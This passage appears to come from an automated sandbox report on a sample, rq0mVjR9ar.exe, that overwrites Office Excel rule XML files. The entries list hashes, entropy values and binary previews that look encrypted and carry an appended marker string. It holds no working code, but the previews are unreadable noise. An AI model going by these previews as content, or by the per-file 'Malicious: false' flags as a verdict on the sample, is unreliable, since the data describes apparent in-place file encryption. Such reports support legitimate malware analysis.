Preview:	<?xml.f.....;.p?..D........d...A.f_+.4.....i.u.}3Re...+G.I.;..C.........;[...g.....:.0..<..cw`..R........Y?.]G..g.A...'ci,.H4.U..\|.@...D..\^.=!...=....i1....Bs.5efY.OW.v..^A.W..EUI..k...Zf.. ._z[.....<....K....\V\..k...X..P.....(..,W0.f..2K.B...\|#.4f."..O...t..........f...IS.....r.k......!..B..IZD/.W.................%..t.....O.A.h.=\\|..m..Y<.#.Z.)...'.....U#..ht.y(.X..-.\7B..,..u....[Z.$......7..7T....$B...5<..9....TF.../.LQ.Ehz...[..A...u.w......6U.".k..YK....">.'.V.h_.r<H..?.zh..e.nm.m.(J.....O..d.ja.........w.E..%.4..t5..'!.W8...7.`...<vc:8S/ok...m.H._1..R.g...I.*.......k5j...qo../.!.Xr.(c}M.n......r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170061v5.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1175
Entropy (8bit):	7.809386892280454
Encrypted:	false
SSDEEP:	24:adTHEXniVUR+AhLRLe6PvaNKMty4L1SZ+S3IgS8HZRymBk2uPiTkbD:adTHESqNZ3kKM04L1SZ+S4UHZRyoHuKq
MD5:	BA49BB82F1E748881C9B7A8D52F38B56
SHA1:	C0F0CE2111BE0ABE07D4487E39ED33109FCE2C4B
SHA-256:	B5572FE4AB76AF7DD82076439DDC07454D4D4AA08A5D568EAE64250A40E0A175
SHA-512:	5FD48F529985230E6BA185FF8DD8CA8BE7BC517666770CDEA30C82C83B6F7E0A70CB54A6F3476739D2D36C3B3305ED30E72275CF1583003550EF13D32998FD37
Malicious:	false
Preview:	<?xmlj..%H..{.#...sFQAr.m.06.........c.p..u..../I.pT"..O...u.E.......+.{.[..x(h....\|.K^C.N3....C..R..\}]..y.$.A....P......s....OZ.=...{.:.Q.`.#.m8....d..#.V....."w..u..A.....L... tGMu...&.....B.WOI9....h.t..>.....Z9...R.Q..k..^#.z`....s....B...k.hl.q...\|..}.]_...\|..q.d...........(F.I....\|'.O\|......H...y.C..n.........(....>..........d.(..s%...i..+.s.....i.~#..tP......S..f.=...&QZ..=N_t..u:..$)U..n....Ym.>.......8.B..Vd....![E$y.......>Gr...Wh..?....0HQ....G`.^_....&&.8A...P.9.....Fu+&.......4D...3.......j,6.pt..o..$....M..uN.z.......\|..Q....\...C..G.o..-Y.."B2.Z...Q`..mlc\|2.&K..<:..It....>D....Qj..e.$M..R..df....g4...E?.Y.e\..0$..4.:b..G...oalp`......<.[.3.T../.Me...olds.s.k#bJ.j54Jd../.Cem.wm.H.g.1..Ds.....xX.a......<'.....CO....;...%.}.T..z$.X...$\|A.....,.u.CC9A../.k..ml....`m.5.u...E.4.....c~..E....q..N.(..@y).~...".B0.Q....Q^.4.,.]..,oP......z...=.....4..XX..?g...G......B.....P...+.O........@-..j.ewv...f.`.Au\|r...o..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170065v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	724
Entropy (8bit):	7.712825271708178
Encrypted:	false
SSDEEP:	12:64/jjzuY4QJM6a0UImcZYCm851aE/VLXUpX6jlWOowUcOvjC/coi5ytG4/ixpZaX:NHzuYRJMp0AcqCm0BjlWOTxOO/coi5y9
MD5:	9185BE9452255E9FDA2CF38556D22EF2
SHA1:	E236EBE693259185C8B362185ADEE84DB487ACAC
SHA-256:	A2629543B624A38098ED1BE47FBE2CEA1178D68DBA0F1E3213ED6A943AAAC0A5
SHA-512:	48C4F00EC80052A8DBC1C8FCF8AB0E92748502A8DF08CD04C285627DA02553AFC032AB1CBD9BC08CC97354FA18D6EA60E37A78A4C8F269C839B99B11A2433F8A
Malicious:	false
Preview:	<?xml.......!....9.....2G~Rm.y..9._.v.y...%.r.m...N.Q...k.... ud2.^......?...\|-".S(w`...+.Ig.r...p..~..n.$...8....(i.=...[.3....T..E...2..g...OvD.2...\|..T4.w...........2.....F..h.....=.H...=...:op.{:0..../..O7..L..H.].;t..3y..y..$..#..ZB...E..?-O.....V-.)Q9\...`...YB..7.cNQ.z.Tt..M..h...<#..T.H.h..Vq....e)~.-.....0.o....2......C....i...l.q..".8.V...JO!...6v.../.2F.a.U..!......5..uui>.3?<R..#..........r.m..t7.Q...A..v...E.Uy._..fa.2H.9br......N...7..7t...3:.._.(....1..`!.V...A..$a..d...K.&..j.\....6....TD...?.......^......\n.\....V.P.Y9.9".w....e.f........:..x.U&(.....}.\...o+..E!c.W..G..$.K.N.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170068v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	746
Entropy (8bit):	7.699717952613333
Encrypted:	false
SSDEEP:	12:UwexlVqJSar2kcWpt6HJ9AtDuzNe4eGKiZbv20uh4Ky+8GoJBO/NF1dKLfSP3riq:WxmyJWup9AFfRGKm2SKfloGNFcfAriTW
MD5:	1A5F0FC296C947E19B58870E50861565
SHA1:	3AD0687747670A626F3AD55733B90D0BDD26F91C
SHA-256:	2B9BD7D0BE247877CEB68E9AAF490666C31FEA333DEBAD2B6A2948246DE68CB5
SHA-512:	274A597100B6F4F56C13591C649F638E424E4ABFAE3232C67F46444017E08D0A9DFB164119C3989E001E1DB374DB7621D092E624ED51ECED7FFC03A555715285
Malicious:	false
Preview:	<?xml..)...{.sp..t.V...N......Z..........zhH..fI.[f.A...g..u... p'...?......H.xr...x.%.~=9xO.Cvy3].'wP.i:..f.d..y.d..\|.. .y.p..S..I..r.B...!...z.]..)..I&.]tR...A.#.].x...._.~.F....,.sV.Z.@q.;yN~./.O.'IK*K..&..h./...4"...2X.f~..H....C.2R../.H..7.w(..S......f.....C....x..t........p...v...}....jxV.=&.`J.(@... .;......G.j.ZZ-.....\w...L2.C."j..F\|4..\....\|........B.o....9.!og(./_d>.b)1&.q%...IB.Q..yp.....B...^..+.Q\N....:}..6p...q..w.;...$...(?{".._.<.....V......{L.:.xl...a.T..+.e...f...-..[.y.x.........E.\|K.+u...t........r3.C.^...\|L/.....TU...^..r......LT........8x..{&..my1{.s.wEB.M?..Qeec..........[.h.."z%D<...........(......}.M(..6{r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170069v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	857
Entropy (8bit):	7.759113208290387
Encrypted:	false
SSDEEP:	12:LnOOjcyfu/qyrhewO9ziizofPHEtpF95yCg1sGa0HgTDzs9qbJ+gO8UXg/FZj+cO:LngyQWXeEtpRy/sTDDm8UCVfzM/iTkbD
MD5:	EBE8419EBDB5743444A7FDD7056EC19C
SHA1:	F0EFCF70806E8D5AC4FBB25B7127ED35AC970B34
SHA-256:	9E57CD2978B526E96D5A3BC0AFDC0921062B683AB27C5D1FEBAD166E323A6DF4
SHA-512:	3D8019BF6628BF7A7E8F64D33D4637FB646515486B2A96422B0F22F38FDCBB0D600D029125BC663F6346A73A3CF074341D43CF4A7B61ABA08AC52C5721996FD9
Malicious:	false
Preview:	<?xml....."Q..[..VF..D..[#../..<.......\.bs..a...l....* .d...8.!..@........AHe..Q2.G.je.}..g.....H.@J7f.@..P..D)TlSL\|^,)..E..+.~.3n..v.ZW.J[....._.w../>z..q.......7....p7.i.Yn...l....0...6#>=<1.......!_.<..o.d.....9\`..y.^.+]."....#..l....d..A.g........(.......`.cK..D.3]. .;....V..l!P.7.u.>....8..I..#....t.=..z..t!....e.c.E....u~.....s.Q....%^........L.X..,.p.f.C.S....l..NH..{b-...`....}4...n..h....=K..B..I.-q5....f2;.......~.!..Do1.".Z.g.y.c.. r..(".L.x.....l.j;...Mb.fb@.I.Ik..>....Q.;./..-.p6...T.......p.m..q...%.j.....pB.m.(p.M..A.....+O.x?5n\85.P..x.FY\|Gs.c....R.*."R..b4/4#.jQ..m.d.THYL...U..,.../]y@...ZOc.}x......b.Gm..r.Yu..^...o+#r....C......6:n_..l.....g...).i.y.>.....\|..#'&.b..qp7..B.!.i-....0T..L(..BG/..b.J5.Nd.X.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170070v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.7794262037949
Encrypted:	false
SSDEEP:	24:10NnsMtoGuxnKPDZiP6Mz5uDqccspbdqLdbtv+F3iM6iTkbD:msMuxKbZsnluDqclfSdZmrviD
MD5:	09A041DE2ECE18E36212A0ACF9219ABE
SHA1:	E531DBE57A877589DDFFEB486FE483021A05228B
SHA-256:	44E1F7B9DED8A30B5DF11870B56596A54EDFA21BF6D4AB5C9A7599F5F4F73C02
SHA-512:	62C759CDA3AE715B36F5FD04800EF6DB89FD2E4A447AA8927E2C671BC0BE29967C961AC792C6E7841C82238720CB1D194346B54F2854D3B5FBB806AE6313E4E2
Malicious:	false
Preview:	<?xml.c.o.O.s..^.`.@......C........N,J..-P...2....1..3._.O...........N.r. ....D).R..9...F.<.._\Y.......A.Q.Fl..dh....8.5o vH:G....^...Yb5K.{Ex.n......w..i.$....%..}t.N.S.qJ1.7..(00.@.&B.H.u{=.1nX.\!.`b....b.......r.....9S.I$'t;~......U...q....&.\|.q..c.D.&a....a.p.O...2ybG.....N....Q...G91l.S7.zV....u..o......Z......F.z.3.Fb....r.%g.. g`....X.hb.2...dE..I.....az]..8.......g.j..A.$....W.<....$...".\|G.(.../........6&...0E..\|.........n....N.G<...f.Q0..p...%.."......Z'}....n..9c....f.\c..... ..>.nx.O..p.]QW..?.j...Ih....rl.=._z....Fz.6jC....y......Ff..byh@R..2O.\..W.....".... .I/..ZHs......g.........J......\...\|......V.8~.{h...g.....g=#-7t.y.bZ7.b....rb.\.q....T..J.{....a$..?r..Z.4....g"...U.@u.p({_.L(.....[..BU.I+RI...\|..1.im..~.d{@;...l......'.5...s"-..LX..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170071v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1003
Entropy (8bit):	7.794835591550077
Encrypted:	false
SSDEEP:	24:X1L0wFQpiFO5uBjKwX+Kjv9z4tx9Q2cQAEX/iTkbD:XbBcUF+xGtniD
MD5:	9CE338C38263F26A7654517A739CF051
SHA1:	0EBB2428BA22193CF3717D5B62318667B1DE8CC5
SHA-256:	57D5B509AB2284F83F78F8510B487917E57BA2AC12044D766F713888A00F7671
SHA-512:	0B977E4CFAD68F7C3F6DB0E0D7ED13D52B3CF4551AE8EAD071712892C0A013C70ADF23FABD3DDF792D1191D9EBDE945248F0DFCB328DE7F3737FA226FAC287EF
Malicious:	false
Preview:	<?xml.j=...R....i.....z?...t7....n...........Hd.8./..uQ.....$...~..;.g...~..3.E....T.Q..I...Li.A...~].'a..MQEz.\....<..M.....c..._N..6)[]bl.Pe7.~....S...E.<.k..6........-...-.N....n.L..8...V..n..Rc.W.Zy..}L..M&x._..s.:r..J=W'..#.H1Dw....e~./.n@.....i^...r.#NoJ>......p.dz.@6..@....fVv.....Z..GF.k`.t...S..Z2....d.&....(Q....J^~t..4...+.7;>..xY.fy../lf$..@...Q.(.B.#.....7.p.BN...K.;:...NE....../..K+......-c..=t....KW_..OX.\.ju....9"..S.. ~WK...3q.Oa:.....^.h...c-...&TA..'>....&E.C...].1).....y.,?f..<......#.\|`..2y....Z%...S..P.d..9.n+.....O.:_...6rA.......).w.ug...Z.s.%:....e.cS_..T..u.. ..=;....6n.,.$.7.W.`.s..U;.m...;...o{./..3...d@.........z.1....is........w2.....n.%.p......vz.b4.;n...=.".......Of...F..`Y..e...'.c.n.^...../.!.O&...E^.....,..h.Y.8.p .......;..^Of..x^=..-....>j.!0!..>.E..k.....dC..\|.j....R4.)..e!...7..}.#e...(0".b.I..............W...#s..y.m.A...;.}t.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170072v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	726
Entropy (8bit):	7.703631388954505
Encrypted:	false
SSDEEP:	12:0MId03bJRDlZRrk3lHSw0HGkRyf9U6uNwKD/vzvPw8uayPI5yb9I8ZhTixpZaciD:0MICzROSVGkIjujrv48uq5yb9X3TiTkX
MD5:	3B4930D8F3EBDA0912B6F743EE510A79
SHA1:	412D572BF764227FA434DBA128FAF0B6C679990C
SHA-256:	5D99E0B4366D709C74935AACCEEF71465717547593D250EF8040D1408736A8E2
SHA-512:	B7C897D12755D1A052ABC440CE8BE65ED77D57C7F5858C7D921738C8B3A6266CF0A332EF1871A47C457104A439DA99D51CA1C42F375E8E09F92040C9DA6411BF
Malicious:	false
Preview:	<?xml.....Y....oe.~..#8+.W......k..J.....8:A..{...F.Y!.....+f.`.....zBS....,.\Y.~ob....e...j@c.....5.Mm...g..r..R q..by-BA.#c.NA. ......^...@.,?.!o..2.......?.7...4d.\...rN.....zvF......(..5..,...y.6.8.o..M..uDTT.....v..3.x.......Wh`9..c.W.<h.ru.~.$.%...Xw.:.......)T......6.....2Y...V...+...#1.I.......V(...e...b.+..L..) .Pp........'.&.qe(........E.N..G.....>.C.....@.O[&..o.bC%.%[..-M]>C#W.D..\|4..a...l/B....!f.....c.._.U.p.....&.-..YbC......T..a:.V[..:..E..c.8...;}..ON;.6.G+2.h..s.2t.Hw.T...e]'%.?.!m{2....%./.c..Q.3.~...F..F.:.... iV..&.$]...m.6SE..)..Y..2.j.......w*=+r..J..(...[ y.z.d.V.h.........r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170073v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	931
Entropy (8bit):	7.758558371660169
Encrypted:	false
SSDEEP:	24:HBjVt1I1wioe+H+gsQ3TdroXbPwBSiTkbD:HBPQoeADsQDizwBniD
MD5:	36FD4772CA192BD6DB724294AED0D769
SHA1:	2F83B9E22804FA5B4C07EF5CA8C7AADBDE524530
SHA-256:	4E382FEC030FF4D77ED9CA0D5A55C40684F903046D92B9AF40AFC4C014443FEC
SHA-512:	BFF7539349E1F9DBED9F9C8068053ACA6B5A6A9EB1A4F058123A35F2807C373497ACEA3628EE7E2B2E1F401E51C9AE7D9C3A711B268175468E7A76003F6716F4
Malicious:	false
Preview:	<?xml..6....+...a......3.<.d.x....L..m...Pp.zN>h.y?...^8..a3..K..c.{.........d-p..P\|)D.xz..fQ.8yQ...qli.b.....B..W.X....S...~..o....^.j.....CTX..M&..0...T.}f.;bb.(...O.G.h-...%E/O.>......F\|... ........._.....x.q{.J..T.RF..7{w..G.r...9.j.A&....p..F.......-..=<.......(....4d.`..5.....DG...?....Y j...".d..u.S{..........9....X....E.s..D..,...\|-.....mY\|Q....W.c..R...U..-......2...<.\|J1....$@fz.:.AN>..j.1....3;4z.@&....`...t..IN.....x.....QV....Y8.....4........A.\|..v..`...`...f.j.\...:....~..L....Q.Qh.._s.5.A...t.8..i.I...m`.R._....eG.../...]..S........<.P...w=8....:WWbs..7...)..eGg.....?r@..V.E.....c+.?y.M....I.`.(..".G.(r."........_$........rt..\Dy..K...g6 .;.S..3.I.+J8.}...9.F_BO....\............y?.K.(&..r.Z.}...R...j.\|Uu.q.3.O1o....2.sc....c..k@+...Oi-RZ.8.Z.].........&....-dQ{...W.....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170074v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	923
Entropy (8bit):	7.772266239937026
Encrypted:	false
SSDEEP:	24:tZE3r4RlRwl46CXhY2rZjEBefAg56Hd9eLGTbJnCINmeO0nCYiTkbD:VfI4JhRWefAi6HdgCNCgOsCJiD
MD5:	C0D6ACC9328D31F0FAE54CCFBA72EF69
SHA1:	D75ADC0F6C19E7249F3C5B4859828A010425535D
SHA-256:	096635FEECC37FB4591E861B3A4653DA39D59529FDA43435C76356A8CDA19545
SHA-512:	BBED05368539AB3DCF8F274D428FBED01A391CF6265A77BF8916408A93B194250A7EC54E56427425BBAE07E3991DA9633511A21C9DA15CC05B92B071A1A20451
Malicious:	false
Preview:	<?xml....q...5..8..~$.YT7.`.[.c.....,NK.Bt$....H .f\|..2.....LT#..p...n]X../.:u....."i..Sft.$y+.LZ.1%....=H%.vW.r..Je.d..U....e.....A....?.91ji...P...0......\n......)HG.a...:...fwq.....9.ToaU2".y.....S!._.&../...-?@k..........].T.N..8..."....G...t..7.g.Px..`.Z.a.\|.._........e..wx....M.u8...............O....6k..$...`/C..e...se+.?...N^.n...Gk.....L.....]q.a......K.Y~.....l........H.\|r..1.....#~C......-n..'.%....N}.d.\.....(b-u.....#.c..0.K\X.Z.......V.....m..(.....~.]i....c.`.X.M.p....&.....mal........d........xn`@...B..`K.;...G.b...P.X.S[.....L..^..%.B.5.>...H.j..b"W...Cl..B.......l.x...M]C.....-)...p....N.g.N.,b.....4...G.,.~...Z.;#a.{.J...@W...j\|.62...'...O.o...u.P`...MuH4.P..R<....1h"...r...c.....p7...<...ZW`.8H#...R.=PU.E..v..g.+...{.y.C.......:@6...e..83f.qU..7oG.h%-..AU.nR.@.c..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170075v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1267
Entropy (8bit):	7.823505828960382
Encrypted:	false
SSDEEP:	24:hcsWL9ebPl2TalLcJrjHE2vq1XEJZYRg4l3pneQFVzmxP1/aaiTkbD:hoYJ8alQrMoaB5leQFde4PiD
MD5:	8E6D5633C4DAD38120715C6EEB9076E4
SHA1:	B95746F5211DE59CAA0DD8AD31C3DC83452D37CC
SHA-256:	F0C8C51B9B3D9C7A136A03D404AB1149BA5FD0CAAB113081FFCC5DA1820A311E
SHA-512:	E89AD785A90114606CC066CCD6DACC5057D9C6544BD36E11ABADBD0DB2EE4FE5ACD1EDBB6A12D758B40A54D030AAE048C7DEE831FDB6DDA4666E0C341DEE8CEA
Malicious:	false
Preview:	<?xml...3L!e.....XE..T...1.{C..c$$j.#1..1@FQ...^.(....8.....$>...o... 2.a.v..qVI3...:,.....A3.....r...H.}.UO..Q........QXmGp..]0..!.Bm.....N.Ps..a.z.\.c-3$d/.k!...g..Y.....N@.^....1..:.N.....Y!.4...r..=.".?vc> \$.X>.~E.".R.D.ZB7%V....I.h......?..t...x..=Sk.#C.W......Xt.6^...P..S....>O.....1...h.F..t.Ex..X.u["..;~.i ..t..l2H.........Q..BT........]X..Y..;.UvQ.qr9A.s...n..''...`........2.p.d.^.0....eL.YdF.Xk?8A.n@..=.$$...D+..CQ....B(.,..c..1..=6S)..y......3.y='.........`.}Pm.6.B...p{.. .dd.=....2.aQ(..u.7.....?..qfnu+...,.J.,.@.}...8.v..W..r.d.i......ab..r.Q,.....V.GhI..3.......7.'`..W(6.D"x.~...9A.I..I.7..S...e.....l....A...E...].....:Bp...c......m..I....=....f.....(....s(....{.R.]}...B.....{....k.5.N..............Y...w..U..s..r.' ...+.#...l...H.(zu......f..L@?r%N6......J_].eC.r .}Z5..[.$...L6.>C..."p.........k.b...;.QJo.E.;,."v...,E7......v.........H...#.?..c.........p..:.V....t.'x.\".....J..x.r.&.....#...V...;k.#..N.j.?d..t

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170076v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.719545331334924
Encrypted:	false
SSDEEP:	12:FLpj0W8CSqZBdiqUYZoHa3/uVItFQHyopL7k0uAkwAbZAMOh5LC5CMHNRixpZacq:Hj0WLzgz+oHaFtWHyoO0VkwAbZA3hkck
MD5:	CE499D988D8030F3DCDE8F4043533931
SHA1:	D62DFBECC2FBF46845F582F9735303C04A1F0770
SHA-256:	151BE3AE4A7CC6CC2C8BB9AF1879264CEC26A9E9EB1852879EAE2E6D6C5DCC5F
SHA-512:	7F9C76396FCB9719A3CEDE16824D334F877AAD5F59CEA93227ADA4E58AD36AC4F8DB32C7E42BD9F2D40A9E589400942856632EB1C90E9DE72B4AA4285A8FB999
Malicious:	false
Preview:	<?xml._.T.A;.....f....,h.b."..Cj..?g7h........z..^..Y...Q.n..=....e.s. .........S..i..I...l.j...Kr.l....Y....n.=.lq.5..%..L)o-...k.0...z............@Cc...P..M..L*.......6....9..M=m.\>.Y.xXmG.%..M..M?O......\|.X}....b....(...v.T.^......m..)."U.6..O...d..Ck.T..;@h..x.......~8L..<`...y...K..c.c...B...p.."B{^.;w!...V.&.>..d...}.Q..'....R.(_.r.W.YaY5Q.?.p....j0lg..<.....W..3z..6....x.qWL/..F}qy.y......6vh~....J+...6t....j..# ~A.d.^i....>.0..%KLj./z..VD...B0c..e.........m.,g..2w...X..Bm.......E.r..~r.;..d..~."......R..2.q...o..k....1.P....T.m.Yk.E.c......G.`..(.5.......(.1U.}..(.m.2..b..;...o.H?.5.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170077v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	723
Entropy (8bit):	7.682510205381059
Encrypted:	false
SSDEEP:	12:b4fANGTxshGTuoudJNcai0gnVCOq6NbQ+2sxxKjsaYixpZacii9a:bNMTWQTtL0gnSmZx8YiTkbD
MD5:	F0791412B5581A322F1371B1B8167852
SHA1:	1B692A7CBE7E3F43D069D14577B2E55A4A6B264C
SHA-256:	C94BFDB69C2FA593609E61349440D7B59AF8F5A044C1358AAF749C829B424646
SHA-512:	A10F4E852127C7DDCB809A11A1448D34527CE1E7A442C5D4D48A33541254F3DB88185F72315EE08F7043BE4425835BE9F891A4C1FF9482713AEDD3ED0162DF8D
Malicious:	false
Preview:	<?xml..\K..g.E..\|..Z!j......o..!....a@..r....g.H...b!......\.....J....e.~z.PD..S.5...F.....u...g....a...k...(....=.^>p.-.,4..m}..o).b.R\....4.w$+.D}...'.N@...s.<....ke.....J..)...1....._.\|.[.[..bdK..h...n..4....j).k....RF..7..=...P...e.Q1...d..x{].H[-...Z.#brN_.w.lT..(...(.h..hOe..GF..6...l..qb. ..ed....W .&M..]...s....=.!r%.cJ....%..SV'...._t{..[f.-R.~o..(...P..?.=..:T..u-....].A....&..!w....v.).GN.......<.k;.@_ez.]..`..J.d+_..+P~..G...b'./.=..]D....%TMw.k-..zfvX...s.T....r.......2...;.\|K..7X...(.8l....Q.^...lb%6.c...{..5.h...)W........_.4.\|.@...8..vD.....0..2y.@.c....B...w......s......7..Jx..st.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170078v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	817
Entropy (8bit):	7.739669296183015
Encrypted:	false
SSDEEP:	24:1E4jJXC+/TZFA+q19urAyTubuhMImiTkbD:1EmJS07iwAyTYsMsiD
MD5:	457268DBCF00EFFD23D72E6C7EDFA279
SHA1:	25389CEFD0D500992D766AC1B8E639E964D37454
SHA-256:	B6ABC35D346D065BC9C6614331173AFF098E7DCD6FA04026286F9E0394EF7C98
SHA-512:	3FF89AE3E8E07CF93A88A357AD35FAF0DFC6214F7191E3D609F424E334031A6D374895ADAA71C4E5B33F22F48B6EBEBD38C0BEAA432B4288BF4E4CE0E784141F
Malicious:	false
Preview:	<?xml......o.....em..g..4...c.}_.^...Y..m."..X.RV.L. o%.....F.'....... \P`-N......O......\S...@.P...#......1n./x...2...v.z{$..,.9.TD....!}..o....{$U..\y.......v3.D..Ru6.}"...+2..K..3vd..b....8..l..Byp.8.?9.....u@.....bZ6O..r.a...0\X&.^^..u......Fa.....s.f.~...o.>.<Wy#.d....n5q](C....&t...9J.b.].........N,........S...}..HB%.4..B.7...,a.2..f....Qf..4(\.a...!s..7mZ%..?HI..`B...J.:W..m.wr.........0]..i.C.m._..{..k.^>...d@.....k..s....A.%....0........>.\+Hr...H...R..,b.....B....~.....^Mks.hx.}.6.J...>..vi...j..T.O....g.)..m._..d,../>..?..T......].m..W`T.).2AO1.S..0(...B.ndUj.H\|..p..:...o.%.x......@..;..~....."rNk..z.Vy$[.U..Ra.?Y.g,....y.....\.38a.......LV...>~#.D....r./...+QU>...3n.ci`.9.d.C9./.q]Z...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170080v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.681700854848139
Encrypted:	false
SSDEEP:	12:Rd5IMNtQ2lyiVB7TN+qjkla3y7Cwmi8FfBQncX5wkjbzJagbC+46uixpZacii9a:ZIwFVhjklV2i6QncXCk3z1bC+46uiTkX
MD5:	2B8717A12D2F87D144AEB081FD451836
SHA1:	A92D079E054A4345261C253F750062BC8B91D4CA
SHA-256:	D98AEB8F4DE5846EDAB1674BD0BC5ADB1EE4559F261A30905DFE44B5505397EB
SHA-512:	168E706FD71467F451A73A4DFABB695299477A15BD73F59003D77CC6D79FA75CE444B0656C29C0EDECDFCF603287E6E350297BCC06883A166836A343E0627B36
Malicious:	false
Preview:	<?xml...TF.4.r..m.m(...=".\......Uo..(.." 9..s......Pr.GP......."..Z..p..f..v.-6.J.....r.Y.jq.C.t..D.2_..nq.....tg.$....nV!.;<&06.".....E...+..yI?~.\...M...z.w..cKL.l.....Be...Aq....?..Ol...t......T..a....e..)....1U&...].nW.4.y...(.U.$$.I.z{5.J..=.F....>......Z..Ib....F.......5+-.v...j.......dQp...I._.Jn....o8\..b..n4.~...MPq..AY......T.m.4..r-.+..%/.2.kOU.p.[.d.q..@...5..c+.8.?4.V6...yaz..PxO.=.MSD.......:..C.....$..H.N...../..z2;=2....NB.K...Up..x1t....Fn...~Z.(.P....[m.&.N=....o...R.Z-.h).M.~...V#.}....q.s6..^#.$..$C.Y..Su&<.H..d..~'...E...Dlh...Z.R.`V..].z.qF.S..\.N...T\.+I91\{*.X{.zWL.u...RF..I.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170081v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	881
Entropy (8bit):	7.7284129452115256
Encrypted:	false
SSDEEP:	24:9/ht5A1oq2qCLqfupC7/9F7xYIaXbcA/iTkbD:R0xOqf2UlxYIkboiD
MD5:	659222BEB8BE8410324C4F37A347433E
SHA1:	560F5A0934FBCC156E84467288926585B2E116FF
SHA-256:	A11289316EF21EA11A35B158F283519C4DBA15BB61928D99C0CA8416DC9FE168
SHA-512:	BB098F7A4228CA95A1B172167F5374E301B3C23212450C74B4A9100AD18A6BBDAB4D839621BBC3ABD6A114BF8028478EC2E33EB0DC7832DF0970292580364DF5
Malicious:	false
